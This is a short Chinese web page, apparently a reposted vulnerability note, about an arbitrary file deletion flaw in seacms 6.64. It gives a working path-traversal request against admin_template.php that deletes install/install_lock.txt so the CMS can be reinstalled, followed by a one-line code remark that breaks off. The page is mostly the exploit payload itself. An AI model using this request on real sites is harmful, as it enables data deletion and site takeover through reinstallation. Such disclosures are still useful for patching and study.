千家信息网

seacms 任意文件删除

发表于:2024-11-11 作者:千家信息网编辑
千家信息网最后更新 2024年11月11日,seacms 任意文件删除http://172.16.173.242/seacms6.64/upload/admin/admin_template.php?action=del&filedir=../
千家信息网最后更新 2024年11月11日seacms 任意文件删除

seacms 任意文件删除

http://172.16.173.242/seacms6.64/upload/admin/admin_template.php?action=del&filedir=../templets/../install/install_lock.txt

可以控制filedir参数进行任意文件删除

删除 install/install_lock.txt文件,然后可以重装seacms

分析代码:

filedir参数必须以../template开头

0